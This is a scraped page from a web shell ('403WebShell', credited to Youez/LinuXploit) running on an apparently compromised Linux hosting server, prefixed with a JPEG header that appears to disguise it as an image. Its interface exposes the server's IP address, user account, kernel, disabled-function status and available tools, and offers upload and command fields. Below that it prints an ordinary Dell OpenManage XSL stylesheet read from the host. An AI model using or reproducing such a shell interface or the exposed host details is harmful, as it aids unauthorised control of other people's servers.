����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.22.223.160
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/common/vdpartitions.xsl
<!-- This is the XSL to render the Array Disks belonging to a Virtual Disk page.  The associated web plugin is the ArrayWebPlugin. -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
	<!-- Include some common templates created by SS -->
	<xsl:import href="Utils.xsl"/>
	<xsl:import href="vdparttbl.xsl"/>
	
        <xsl:template match="OMA">
		<script language="javascript">
		        
			var foreignconfig = '<xsl:value-of select="/OMA/ForeignConfig"/>';
                 
			function reloadPage()
      			{
                            var RefreshURL = document.URL;
                            var FluidCacheRefresh= '<xsl:value-of select="//FluidCacheSuccess"/>';
                                 RefreshURL =RefreshURL.replace("FluidCacheSuccess="+FluidCacheRefresh,"");
          			document.location.href = top.gnv.appendVID(RefreshURL+"&amp;Refresh=true");
      			}                        
    		</script>
		
		<DataArea>
			<PageTitle>
				<xsl:attribute name="display"><xsl:value-of select="$strTitle1Part1"/><xsl:value-of select="VirtualDiskName"/><xsl:value-of select="$strTitle1Part2"/></xsl:attribute>
			</PageTitle>
			<CustomButton>
				<Data name="Refresh">
					<xsl:attribute name="display"><xsl:value-of select="$strRefresh"/></xsl:attribute>
					<xsl:attribute name="href">javascript:reloadPage();</xsl:attribute>
				</Data>
			</CustomButton>
                  <xsl:choose>
		                  <xsl:when test= "/OMA/FluidCacheSuccess = '536870912'">
                                            
                                                             <AlertMessage>
                                                                     <xsl:attribute name="display"><xsl:value-of select="$strEnableFluidCacheonPartitionSuccess"/></xsl:attribute>
                                                                     <xsl:attribute name="status">2</xsl:attribute>

                                                             </AlertMessage>
                                                    
                     		</xsl:when>
					<xsl:when test= "/OMA/FluidCacheSuccess = '1073741824'">
                                            
                                                             <AlertMessage>
                                                                     <xsl:attribute name="display"><xsl:value-of select="$strDisableFluidCacheonPartitionSuccess"/></xsl:attribute>
                                                                     <xsl:attribute name="status">2</xsl:attribute>

                                                             </AlertMessage>
                                                    
                     		</xsl:when>
					<xsl:when test= "/OMA/FluidCacheSuccess = '2147483648'">
                                            
                                                             <AlertMessage>
                                                                     <xsl:attribute name="display"><xsl:value-of select="$strReactivatePartitionSuccess"/></xsl:attribute>
                                                                     <xsl:attribute name="status">2</xsl:attribute>

                                                             </AlertMessage>
                                                    
                     		</xsl:when>

                   </xsl:choose>
			<xsl:call-template name="Table">
					<xsl:with-param name="Display">
                                                <xsl:value-of select="$strPartitionsTable"/>
                                	</xsl:with-param>
                        </xsl:call-template>
			<BottomCustomButton>
				<Data>
					<xsl:attribute name="display"><xsl:value-of select="$strPrevPage"/></xsl:attribute>
					<xsl:attribute name="href"><xsl:call-template name="ReturnPage"><xsl:with-param name="BackTo" select="/OMA/BackTo"/></xsl:call-template></xsl:attribute>
                        	</Data>
			</BottomCustomButton>
                        
		</DataArea>
	</xsl:template>
	   
	<xsl:template name="Table">
		<xsl:param name="Display"/>
                <xsl:variable name="checkAdmin">
			<xsl:choose>
				<xsl:when test="OMAUserRights = '7'">true</xsl:when>
				<xsl:otherwise>false</xsl:otherwise>
			</xsl:choose>
		</xsl:variable>	
		<xsl:choose>
			<xsl:when test="Partitions/DCStorageObject">
				<TableData name="{$Display}" display="{$Display}" columnspacing="true">
		                <xsl:variable name="showtasks">false</xsl:variable>
                                 <SubHeader display="{$Display}"/>
					<Header>
						<xsl:call-template name="VirtualDiskPartitionTableHeader">
							<xsl:with-param name="tasks">
								<xsl:value-of select="$checkAdmin"/>
							</xsl:with-param>
                                                        
                            			</xsl:call-template>
					</Header>
					<xsl:for-each select="Partitions/DCStorageObject">
							<xsl:call-template name="VirtualDiskPartitionTableRows">
								<xsl:with-param name="tasks"><xsl:value-of select="$checkAdmin"/></xsl:with-param>
								<xsl:with-param name="expanded">true</xsl:with-param>
							</xsl:call-template>
					</xsl:for-each>
					</TableData>
				</xsl:when>
				<xsl:otherwise>
						<AlertMessage>
							<xsl:attribute name="display"><xsl:value-of select="$strNoPartitions"/></xsl:attribute>
						</AlertMessage>	
				</xsl:otherwise>
			</xsl:choose>
	</xsl:template>
</xsl:stylesheet>

Youez - 2016 - github.com/yon3zu
LinuXploit